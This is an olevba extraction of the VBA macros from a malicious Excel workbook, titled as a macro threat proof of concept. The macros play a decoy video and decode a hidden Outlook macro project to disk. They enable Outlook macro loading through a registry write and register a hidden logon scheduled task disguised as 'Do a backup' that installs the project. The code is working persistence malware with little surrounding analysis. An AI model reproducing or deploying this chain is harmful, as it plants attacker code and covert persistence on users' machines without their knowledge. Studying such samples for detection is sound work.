VBA Excel Macro threat PoC

a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740.bas

olevba 0.54.2 on Python 3.7.3 - http://decalage.info/python/oletools
===============================================================================
FILE: a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Hoja1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Worksheet_Activate()
    DecodeV
    
    Application.DisplayFullScreen = True
    Application.DisplayStatusBar = False
    
    WindowsMediaPlayer1.uiMode = "full"
    'WindowsMediaPlayer1.Locked = True
    'WindowsMediaPlayer1.Activate
    
    'ActiveWindow.EnableResize = True
    ActiveWindow.DisplayGridlines = False
    ActiveWindow.DisplayHeadings = False
    ActiveWindow.DisplayHorizontalScrollBar = False
    ActiveWindow.DisplayOutline = False
    ActiveWindow.DisplayRuler = False
    ActiveWindow.DisplayVerticalScrollBar = False
    ActiveWindow.DisplayRightToLeft = False
    ActiveWindow.DisplayWhitespace = False
    ActiveWindow.DisplayWorkbookTabs = False
    ActiveWindow.DisplayZeros = False
    ActiveWindow.DisplayFormulas = False
    
    WindowsMediaPlayer1.Left = 0
    WindowsMediaPlayer1.Top = 0
    
    WindowsMediaPlayer1.Width = Application.Width
    WindowsMediaPlayer1.Height = 0.95 * Application.Height
    
    WindowsMediaPlayer1.BringToFront
    
    WindowsMediaPlayer1.Url = directorio + "\Prueba02.mp4"
    
    Application.DisplayAlerts = False
       
    Application.OnTime Now + TimeValue("0:00:7"), "mensaje"
    
    
End Sub
-------------------------------------------------------------------------------
VBA MACRO Gráfico1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Gráfico1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Chart_Calculate()
Hoja2.Activate
'Hoja1.Activate
End Sub

-------------------------------------------------------------------------------
VBA MACRO Hoja2.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Worksheet_Activate()
    Const TriggerTypeLogon = 9
    Const ActionTypeExec = 0
       
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    
    Dim rootFolder
    Set rootFolder = service.GetFolder("\")
    
    Dim taskDefinition
    Set taskDefinition = service.NewTask(0)
    
    Dim regInfo
    Set regInfo = taskDefinition.RegistrationInfo
    regInfo.Description = "Do a backup"
    regInfo.Author = "Author Name"

    Dim principal
    Set principal = taskDefinition.principal
    
    principal.LogonType = 3
    
    
    Dim settings
    Set settings = taskDefinition.settings
    settings.Enabled = True
    settings.StartWhenAvailable = True
    settings.Hidden = True
    
    Dim triggers
    Set triggers = taskDefinition.triggers
    
    Dim trigger
    Set trigger = triggers.Create(TriggerTypeLogon)
    
    Dim startTime, endTime
    
    Dim time
    time = DateAdd("s", 10, Now)  'start time = 30 seconds from now
    startTime = XmlTime(time)
    
    time = DateAdd("m", 2, Now)
    endTime = XmlTime(time)
     
    trigger.StartBoundary = startTime
    trigger.EndBoundary = endTime
    trigger.ExecutionTimeLimit = "PT5M"    'Five minutes
    trigger.ID = "LogonTriggerId"
    trigger.Enabled = True
    
    Dim UNombre
    Dim UDominio
    UNombre = Environ("username")
    UDominio = Environ("userdomain")
    'MsgBox ("Usuario: " & UDominio & "\" & UNombre)
    trigger.UserID = UDominio & "\" & UNombre
    
    'Crear fichero OTM en disco
    TestDecodeToFile
    
    ' Cambia el registro
    Dim myWS As Object
    Dim clavereg, claveres
    calvereg = "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot"
    
    Set myWS = CreateObject("WScript.Shell")
    claveres = myWS.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot", 1, "REG_DWORD")

    Dim UPerf
    Dim WDir
    Dim Comando
    UPerf = Environ("UserProfile")
    WDir = Environ("WinDir")
    
    Comando = Hoja3.Cells(1, 2)
    
    Dim Action
    Set Action = taskDefinition.Actions.Create(ActionTypeExec)
    Action.Path = Comando
    Action.Arguments = "Move-Item -Path " & UPerf & "\Desktop\decoded_otm_new.txt " & UPerf & "\AppData\Roaming\Microsoft\Outlook\VbaProject.OTM"
      
    On Error Resume Next
    Call rootFolder.RegisterTaskDefinition("UserTask", taskDefinition, 6, , , 3)
    On Error GoTo 0
    
  
End Sub
    
    Function XmlTime(t)
        Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
        Dim tTime, tDate
    
        cSecond = "0" & Second(t)
        cMinute = "0" & Minute(t)
        CHour = "0" & Hour(t)
        cDay = "0" & Day(t)
        cMonth = "0" & Month(t)
        cYear = Year(t)
    
        tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
            ":" & Right(cSecond, 2)
        tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
        XmlTime = tDate & "T" & tTime
    End Function


Sub TestDecodeToFile()
 
    Dim UPerf
    UPerf = Environ("UserProfile")
    
    Dim strTempPath As String
    Dim b64test As String
 
    b64test1 = Hoja3.Cells(1, 1)
    b64test2 = Hoja3.Cells(2, 1)
    b64test3 = Hoja3.Cells(3, 1)
    b64test4 = Hoja3.Cells(4, 1)
    b64test5 = Hoja3.Cells(5, 1)
    b64test6 = Hoja3.Cells(6, 1)
    b64test7 = Hoja3.Cells(7, 1)
    b64test8 = Hoja3.Cells(8, 1)
    b64test9 = Hoja3.Cells(9, 1)
    b64test10 = Hoja3.Cells(10, 1)
    b64test11 = Hoja3.Cells(11, 1)
    b64test12 = Hoja3.Cells(12, 1)
    b64test13 = Hoja3.Cells(13, 1)
    b64test = b64test1 + b64test2 + b64test3 + b64test4 + b64test5 + b64test6 + b64test7 + b64test8 + b64test9 + b64test10 + b64test11 + b64test12 + b64test13
    
    strTempPath = UPerf & "\Desktop\decoded_otm_new.txt"
     
    Open strTempPath For Binary As #1
       Put #1, 1, DecodeBase64(b64test)
    Close #1
 
End Sub
 
Private Function DecodeBase64(ByVal strData As String) As Byte()
 
    Dim objXML As Object 'MSXML2.DOMDocument
    Dim objNode As Object 'MSXML2.IXMLDOMElement
 
    'get dom document
    Set objXML = CreateObject("MSXML2.DOMDocument")
 
    'create node with type of base 64 and decode
    Set objNode = objXML.createElement("b64")
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
 
    'clean up
    Set objNode = Nothing
    Set objXML = Nothing
 
End Function
-------------------------------------------------------------------------------
VBA MACRO Módulo1.bas 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Módulo1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Sub mensaje()
    Application.DisplayAlerts = False
    If (Application.Workbooks.Count > 1) Then
        'ThisWorkbook.Close
        'DEjo la aplicación Excel tal y como estaba
        Application.DisplayFullScreen = False
        'Application.DisplayStatusBar = True
    Else
        'DEjo la aplicación Excel tal y como estaba
        Application.DisplayFullScreen = False
        'Application.DisplayStatusBar = True
        ActiveWindow.DisplayWorkbookTabs = True
        'Application.Quit
    End If
End Sub

Sub DecodeV()
    Dim strTempPath As String
    Dim b64test As String
    Dim temporal As String
    
    b64test1 = ""
    b64test1 = cargarV
    
    temporal = directorio
    strTempPath = temporal + "\Prueba02.mp4"
    If (Dir(strTempPath) = "") Then
        'save byte array to temp file
        Open strTempPath For Binary As #1
            Put #1, 1, DecodeBase64(b64test1)
        Close #1
    End If
    
End Sub
Function directorio() As String
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    get_TempFolder = fso.GetSpecialFolder(2)
    directorio = get_TempFolder
End Function
Private Function DecodeBase64(ByVal strData As String) As Byte()
 
    Dim objXML As Object 'MSXML2.DOMDocument
    Dim objNode As Object 'MSXML2.IXMLDOMElement
 
    'get dom document
    Set objXML = CreateObject("MSXML2.DOMDocument")
 
    'create node with type of base 64 and decode
    Set objNode = objXML.createElement("b64")
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
 
    'clean up
    Set objNode = Nothing
    Set objXML = Nothing
 
End Function

Private Function cargarV() As String
    Dim fila, columna As Integer
    Dim texto As String
    
    fila = 1
    columna = 1
    texto = ""
    While (Hoja2.Cells(fila, columna) <> "")
        texto = texto & Hoja2.Cells(fila, columna)
        fila = fila + 1
    Wend
    cargarV = texto
End Function
-------------------------------------------------------------------------------
VBA MACRO Hoja3.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)